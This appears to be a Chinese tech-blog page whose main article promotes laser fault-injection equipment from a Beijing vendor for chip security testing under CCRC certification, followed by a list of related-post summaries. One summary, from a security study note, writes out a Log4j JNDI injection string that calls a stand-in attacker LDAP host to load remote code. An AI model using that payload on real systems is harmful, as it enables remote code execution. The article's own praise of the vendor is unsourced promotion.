CCRC 认证中的芯片安全测试:激光注入技术突破

从电磁攻击到激光注入:一次完整的车规芯片安全测试实战记录(附工具清单) 本文详细记录了针对国产车规级安全芯片的电磁攻击与激光注入测试实战,涵盖HSM和SE安全模块的攻防技术。通过功耗分析和激光故障注入实验,揭示了芯片安全漏洞,并提供了防护方案与工具清单,助力提升车规芯片的安全性能。 阅读详情

在当今数字化时代,信息安全已成为各行各业关注的核心焦点。随着物联网、人工智能、大数据等新兴技术的蓬勃发展,芯片作为各种智能设备的核心组件,其安全性直接关系到整个系统的安全稳定运行。CCRC(中国网络安全审查技术与认证中心)认证作为国内权威的信息安全认证体系,对于保障芯片及相关产品的安全性起着至关重要的作用。在 CCRC 认证的众多环节中,芯片安全测试是一项关键且具有挑战性的任务,而激光注入技术的出现,为这一领域带来了突破性的进展。

CCRC 认证与芯片安全的紧密联系

CCRC 认证涵盖了信息安全的多个层面,包括安全管理、技术保障、物理安全等。芯片作为信息处理和存储的关键载体,其安全性是 CCRC 认证重点考量的因素之一。从金融领域的银行卡芯片到工业控制中的核心芯片,一旦芯片被攻破,可能导致敏感信息泄露、系统瘫痪、恶意攻击等严重后果。因此,通过严格的芯片安全测试,确保芯片具备抵御各类攻击的能力,是获得 CCRC 认证的必要条件。

目前,芯片面临着多种安全威胁。常见的攻击手段包括侧信道攻击,如通过分析芯片运行时的功耗、电磁辐射等物理信息来获取密钥;还有故障注入攻击,试图通过向芯片注入错误信号,使芯片在运算过程中产生错误,从而绕过安全机制。在这样复杂的安全环境下,传统的芯片安全测试方法逐渐显露出其局限性。传统测试主要基于已知的攻击模式进行模拟,难以应对不断演变的新型攻击手段。而且,对于芯片内部深层次的安全漏洞检测能力有限,无法全面保障芯片的安全性。

激光注入技术崭露头角

在这样的背景下,激光注入技术作为一种新兴的芯片安全测试手段应运而生,并迅速引起了行业的广泛关注。激光注入技术利用高能量的激光束,精确地照射芯片的特定区域,通过控制激光的波长、功率和脉冲宽度等参数,实现对芯片内部电路的精准干扰。这种干扰可以模拟出各种复杂的故障注入场景,从而检测芯片在异常情况下的安全防护能力。

北京智慧云测设备技术有限公司在激光注入技术领域处于行业领先地位。该公司长期致力于芯片安全测试设备的研发与创新,其推出的一系列激光注入测试设备,凭借先进的技术和卓越的性能,受到了行业内众多企业和机构的高度评价。据行业资深专家表示:“北京智慧云测设备技术有限公司的激光注入设备,为芯片安全测试带来了前所未有的精准度和高效性。其设备能够精确控制激光参数,模拟出多种复杂的攻击场景,帮助芯片制造商和相关企业更全面、深入地检测芯片的安全漏洞,极大地提升了芯片安全测试的水平。”

技术优势助力测试升级

激光注入技术相比传统测试方法具有显著的优势。首先是其高精度的特点。传统故障注入方法往往难以精确控制干扰的位置和强度,而激光注入技术可以通过聚焦激光束,将干扰精确施加到芯片内部的特定晶体管或电路节点上。这种高精度的干扰能够更准确地模拟实际攻击场景,发现那些隐藏在芯片深处、传统方法难以检测到的安全漏洞。

其次,激光注入技术具有高度的灵活性。通过调整激光的参数,如功率、脉冲频率等,可以模拟出不同类型、不同强度的故障注入。这使得测试人员能够根据芯片的特点和可能面临的攻击场景,定制化地设计测试方案,全面评估芯片在各种复杂情况下的安全性能。例如,在测试一款用于自动驾驶汽车的芯片时,可以通过激光注入模拟在高速行驶、电磁干扰等极端环境下可能出现的芯片故障,从而提前发现并解决潜在的安全隐患。

再者,激光注入技术的非侵入性也是一大亮点。与一些需要对芯片进行物理拆解或外接复杂电路的测试方法不同,激光注入只需在芯片表面进行照射,无需对芯片封装进行破坏,不会对芯片造成永久性损伤。这不仅保证了芯片在测试后的可继续使用性,降低了测试成本,同时也避免了因物理侵入可能带来的额外风险,如引入新的杂质或损坏芯片内部结构。

实际应用案例与成效

在实际应用中,北京智慧云测设备技术有限公司的激光注入技术已经取得了显著的成效。以某知名芯片制造商为例,该公司在研发一款新型移动处理器芯片时,采用了北京智慧云测的激光注入测试设备进行安全测试。在测试过程中,通过精确控制激光注入参数,成功检测出了芯片在应对特定高频干扰时的安全漏洞。该漏洞如果在产品上市后被攻击者利用,可能导致用户数据泄露和设备失控等严重后果。基于测试结果,芯片制造商及时对芯片的设计进行了优化和改进,重新进行测试后,芯片的安全性得到了大幅提升,顺利通过了 CCRC 认证,并在市场上获得了良好的反响。

又如,在智能电网领域,某电力设备供应商在对其核心控制芯片进行安全评估时,引入了北京智慧云测的激光注入技术。测试发现,芯片在某些特定的激光干扰模式下,会出现错误的指令执行,可能导致电网控制异常。通过与北京智慧云测的技术团队合作,该供应商对芯片的安全防护机制进行了强化,有效提升了芯片的抗干扰能力和安全性,确保了智能电网系统的稳定运行。

行业展望与未来发展

随着信息技术的不断发展,芯片安全的重要性将日益凸显,对芯片安全测试技术的要求也将越来越高。激光注入技术作为当前最具潜力的测试手段之一,将在未来的 CCRC 认证及芯片安全保障领域发挥更为重要的作用。北京智慧云测设备技术有限公司将继续加大在激光注入技术研发方面的投入,不断提升设备的性能和功能。例如,进一步提高激光的聚焦精度,实现对芯片内部更微小结构的精准测试;开发智能化的测试软件,能够根据芯片的类型和应用场景自动生成最优的测试方案,提高测试效率和准确性。

同时,行业内也期待激光注入技术能够与其他先进的测试技术,如人工智能算法、大数据分析等相结合,形成更加完善的芯片安全测试体系。通过人工智能算法对大量的测试数据进行分析和挖掘,可以更快速地识别出芯片安全漏洞的模式和规律,为芯片设计和安全防护提供更有针对性的建议。大数据分析则可以帮助测试人员全面了解不同类型芯片在各种测试场景下的安全性能表现,为行业制定更科学、合理的安全标准提供数据支持。

总之,激光注入技术的突破为 CCRC 认证中的芯片安全测试带来了新的机遇和发展方向。北京智慧云测设备技术有限公司凭借其在该领域的领先技术和卓越产品,为保障芯片安全、推动行业发展做出了重要贡献。相信在未来,随着技术的不断创新和完善,激光注入技术将在信息安全领域绽放更加耀眼的光芒,为构建安全可靠的数字化世界保驾护航。

MCP+Skills 赋能APP渗透逆向,六阶段 Agent 流水线,打通 MCP 工具链实现 APP 安全自动化分析 本文的实现与思路,是对前辈经验和行业方法的一次学习与实践,若其中存在疏漏或不足之处,欢迎批评指正。目前也在继续尝试将这一体系进一步推向真正可落地的自动化方向,供更多安全研究与测试实践参考! 阅读详情

相关推荐

FPGA以太网接口设计避坑指南:GMII与RGMII时序转换的三种实现方案对比

本文深入解析FPGA以太网接口设计中GMII与RGMII时序转换的三种实现方案,包括Xilinx官方IP核、手工原语逻辑和开源方案gmii_to_rgmii。通过对比分析各方案的优缺点和适用场景,为工程师提供技术选型指南,帮助避免常见设计陷阱,提升高速网络设备开发的效率和可靠性。

weixin_42570484的博客 384

主流芯片开封技术的演变与发展:化学开封 到 激光+化学开封 到 激光+等离子开封

进入2000年代末,随着半导体封装技术的进一步发展,新型封装如BGA(球栅阵列)、QFN(四方扁平封装)和CSP(芯片尺寸封装)等开始流行,这些新型封装结构更加复杂,封装材料的种类和硬度也有所不同,以及铜线等合金线的使用占比越来越高的情况下,传统的化学开封方法在处理这些复杂封装时表现出一定的局限性。因此,等离子技术应运而生,成为芯片开封技术的最新发展趋势,而由于等离子较为温和,不似化学品和激光的强反应,其效率受限,通常都是和激光开封机联合使用。20世纪70年代到至今。2010年代后期到至今。

2301_78192684的博客 1253

用Matlab机器人工具箱搞定六轴机械臂建模:从DH参数到3D可视化(附完整代码)

本文详细介绍了如何使用Matlab机器人工具箱进行六轴机械臂建模,涵盖从DH参数转换到3D可视化的完整流程。通过正运动学验证、逆解计算和工作空间分析等实战案例,帮助开发者快速掌握机械臂建模技巧,并提供性能优化建议和完整代码示例。

weixin_28733637的博客 360

国外测试芯片安全工具

芯片安全侧信道分析及故障注入系统   集成电路是一种微型电子器件或部件,通过采用一定的工艺,将一个电路中所需的晶体管、二极管、电容、电阻、电感等元件及布线互连在一起,制作在一块半导体基片上,然后封装在一个管壳内。随着集成电路制造工艺的不断发展和市场应用需求的不断提高,集成电路的集成度越来越高,处理速率越来越快,功耗越来越小,集成电路已经进入了系统级芯片(SoC)时代,这给集成电路设计、制造、封装、...

视频质量测试mazhitong1227的博客 1899

FakeNewsGPT4:通过知识增强的大规模视觉语言模型推进多模态假新闻检测

当前,多模态假新闻的大量涌现导致了显著的分布差异,这一现状亟需我们开发具备广泛适用性的检测器。然而,现有假新闻检测器因特定领域内的训练方式,难以有效获取开放世界中的事实信息。这种训练的封闭性限制了传统检测器的能力,特别是在面对跨域假新闻时,其表现往往不尽如人意。具体而言,开放世界中的假新闻在两个方面具有显著的分布差异:一方面,其操纵内容多种多样,新闻的任一部分都可能受到创意策略的操控;另一方面,真实背景复杂多变,不同地区的新闻背景和主题焦点存在显著差异。

qq_52053775的博客 822

【深度学习】什么是交叉注意力机制?

输入序列:自注意力机制在同一个输入序列内建立注意力,交叉注意力机制在不同的输入序列间建立注意力。应用场景:自注意力机制多用于单一模态的任务(如纯文本任务),交叉注意力机制多用于多模态任务(如图像和文本的结合)。计算过程:自注意力机制的查询、键和值都来自同一个输入序列,而交叉注意力机制的查询来自一个输入序列,键和值来自另一个输入序列。

q742971636的博客 7372

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1019

把 SAP 输出稳稳落到 PDF:从 SPAD 前端打印到 ABAP 程序级转换的一套方法

摘要:本文介绍了三种在SAP系统中将报表输出转为PDF文件的方法。路线A通过SPAD配置前端输出设备,结合Windows打印机设置实现用户交互式PDF保存;路线B在SP01事务码中将已有Spool请求另存为PDF,适用于补救导出;路线C通过ABAP程序自动转换Spool为PDF,适合批量处理。文章详细说明了配置步骤,并针对常见问题(如乱码、文件格式错误等)提供了排查思路。三种方案分别适用于不同场景,用户可根据实际需求选择最合适的PDF导出方式。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 221

直付通申请资质安全吗?靠谱吗?

风控规则的运行效果要定期复盘,拦截记录、误伤情况、处理时效都要看,规则持续优化,防护效果才能保持,动态调整的风控,比一成不变的规则更可靠,安全保障更到位,动态调整的风控更可靠,更有效,风控常复盘,规则常优化,防护更有效。资金记录的完整保存很重要,流水明细定期归档,账目随时可查,配合日常核对,资金安全尽在掌握,完善的记录习惯,既是风控要求,也是管理规范,长期坚持受益良多,更放心,流水留存好,随时可对账,管理更规范。方向更清晰,资质看清楚,边界问明白,判断更准确。更稳固,职责边界清,配合更默契,安全更有底。

qq_15110143的博客 350

【毕设护航】从0构建YOLOv8犬类识别系统,120种犬类精准检测+可视化界面全流程指南

本文介绍了一个基于YOLOv8的120种犬类目标检测与可视化系统毕业设计项目。该项目使用Stanford Dogs数据集,将图像分类任务转化为目标检测任务。主要内容包括:数据预处理(XML标注转换为YOLO格式)、YOLOv8模型训练与测试(包含训练脚本编写和推理实现),以及基于Tkinter的图形界面开发。该项目技术链条完整,涵盖检测、分割等多任务支持,适合作为计算机视觉方向的毕业设计选题,兼具技术深度和展示效果。

LXY_LOVE36的博客 96

【GameFramework框架内置模块】10、本地化(Localization)

本地化(Localization),也就是我们所说的不同地区的语言适配,比如说中文版“你好”,英文版是“Hello”。GameFramework在本地化方面,不仅支持文本的本地化,还支持任意资源的本地化,比如说游戏中释放烟花的特效也可以做出不同地区的版本,使得中文版烟花里面的“新年好”字样的特效,在英文版里面是“Happy New Year”字样的特效。

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 2303

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 342

C#跨平台制图新纪元:Mapsui,一库在手,地图我有

深入学习Mapsui的渲染机制,定制属于你的地图样式,无论是颜色、图标还是文字,都可以随心所欲。

java专栏 1457

防关联浏览器怎么设置更安全?从环境隔离到登录检查的操作步骤

本文介绍防关联浏览器的安全设置流程:先明确每个环境的用途与归属,再隔离浏览数据、核验实际网络出口和配置一致性,最后做好多因素认证、会话保护与变更记录。浏览器环境隔离有助于减少配置混用,但不能保证账号不会被关联或限制。

2601_96176203的博客 168

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

终端安全平台 V2610 更新复盘:跨平台适配、AI 工具审计能力解析

近期对终端安全管理平台 V2610 版本进行了部署测试,本次版本迭代重点围绕跨平台兼容、AI 工具行为审计、数据防护模块做了调整。本文记录本次新版本的技术改动、功能逻辑、测试过程中遇到的适配问题,供内网安全、终端运维同行参考交流。说明:仅为个人技术测试复盘,不做产品推荐,相关策略落地请结合单位自身安全规范评估。V2610 版本整体偏向解决混合架构内网下的新风险,重点补齐 AI 应用审计、多系统统一管控短板。优势:异构终端管理能力提升,审计链路更完整;

qq_43457377的博客 198

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Android 开发入门实践(二):Kotlin 空安全,从可空类型到安全访问

延续 NewsApp 项目中的新闻标题练习,记录 Kotlin 安全调用。

Easyhood的博客 288

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 200

迪康端点安全一体化管理平台核心功能实践:从文档加密到行为审计

本文选取的文档透明加密、U 盘与外设管控、屏幕水印、终端审计、远程运维五项能力,分别对应了数据防护、通道管控、追溯取证和效率提升四个维度。除 U 盘外,平台构建了大范围的外设管理框架,对操作系统底层设备接口进行管控,可开启或禁止使用光驱、打印机、蓝牙、红外、串口、并口、1394、PCMCIA 和便携式设备,杜绝终端的物理外泄渠道。管理员可以使用交互模式、旁观模式、兼容模式、独占输入模式进行远程协助,兼容外部 VNC 服务,并内置远程画板功能,支持在远程画面上标注、圈画、批注,大幅提升排障沟通效率。

qq_43457377的博客 344

DeepAgents框架构建一个带有严格安全护栏的本地 Shell 执行环境。

核心亮点在于:通过精心设计的 System Prompt(系统提示词)强制约束大模型的行为,防止其通过操作系统底层的 Shell 命令绕过框架的虚拟沙箱,从而确保本地物理磁盘的绝对安全。DeepAgents 框架接入 DeepSeek 模型并构建一个带有严格安全护栏的本地 Shell 执行环境。

qq_42092076的博客 71

【2027计算机毕业设计】智慧工地安全巡检:隐患从上报到整改验收,闭环怎么落到表上

安全巡检」这类题,看着像普通的工单系统,其实考的是。老师最常问的一句是:「报了个隐患,然后呢?」——答不上来,这题就废了。拆一个真实项目(Spring Boot + MyBatis + MySQL,14 张表),把这条链讲清楚。

m0_48069349的博客 197

Claude API新版本重大变更与安全升级指南

Anthropic发布ClaudeAPI新版本,首次更新核心版本控制架构,引入多项破坏性变更。新版本移除采样参数(temperature/top_p/top_k),禁止Assistant文档块与用户文本引用,重命名管理与分析字段,并强制使用anthropic-version标头。官方SDK主版本同步升级至2.0.0及以上,身份验证改为Authorization: Bearer。开发者需锁定依赖、扫描代码、重构消息结构、双版本测试,以避免生产环境400错误,确保平滑迁移。

阡陌数智,专注大模型网关与 LLM 工程落地 377

从 NEAR Intents 事件看 NEAR 智能合约安全

2026年9月29日至10月1日,攻击者利用NEAR Intents存款退款处理中的校验缺陷,通过填充代币和恶意receiver合约触发超额退款请求,使回调失败后内部余额未被撤销,造成缺乏资产支持的可花费余额。攻击者据此从BNB Chain上的HOT Bridge金库七笔提现共转出3,865,021 USDT。项目方于10月2日部署修复、10月7日移除存款通知功能,并于同日宣布资金全额归还,后续事后报告确认受影响用户已获补偿。

BlockSec的博客 263

运营商云改数转安全落地实践|融合 4A 与数据安全服务案例

本实践依托保旺达在运营商行业长期沉淀的业务 know-how,以融合 4A 为核心抓手,联动数据安全、AI 安全管控能力,以平台建设 + 专项治理 + 持续运营的模式,匹配运营商云改数转转型节奏,解决异构云网环境下身份权限治理、敏感数据安全、新型 AI 应用风险等核心难题,为同类型省级运营商安全体系建设提供可落地参考。

KKKlucifer的博客 73

操作系统安全体系能到哪一步?卓伊凡:服务端看认证,Ubuntu看默认,欧拉看体系,鸿蒙是另一条路

操作系统安全体系当前已实现分层保障:内核级强制访问控制(如SELinux、AppArmor)、默认攻击面收窄、密码学加密与制度化测评构成四重防线。在官方测评中,华为欧拉V3、阿里云服务器等三款系统达Ⅰ级安全可靠标准,鸿蒙桌面则首获Ⅱ级认证。Ubuntu高版本默认安全工程化出色,但加固也可能引入新漏洞。欧拉与鸿蒙技术路线不同——前者为服务端Linux加固体系,后者为终端微内核+形式化验证架构,二者可协同构建“端云安全”,但不可混为一谈。安全本质是相对的,需结合场景、运维能力与测评体系理性选型。

一颗优雅草科技-央千澈的优快云博客~只想无穷无尽的学习~作息早8-晚8 149

安全生产数字化:亘川智城系统五大功能域全流程解析

系统的业务对象覆盖安全生产监管人员、属地安监专员、企业安全负责人、安监执法人员、应急管理专员、隐患派单专员、整改责任人、数据分析专员等多个角色,各角色按职责与状态获得对应操作权限,实现责任到岗、过程留痕、闭环管理。整改台账覆盖待接收、待制定、整改中、待自查、待申请、待验收、已通过、未通过全状态,配套整改完成率、平均整改时长、逾期整改率统计图表。归集法律法规、安全常识、应急技能、事故案例等素材,按类型与行业场景打标签分类,支持权限化发布、浏览与下载量统计,并随政策更新迭代版本。,所有流程资料永久归档留存。

weixin_67440240的博客 81

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 229
上一篇: CCRC 认证中的开源组件风险管理:智能卡案例研究
下一篇: EAL4 + 在工业控制系统的特殊要求与实现路径
DPLSLAB6
博客等级 码龄2年 245粉丝 58原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值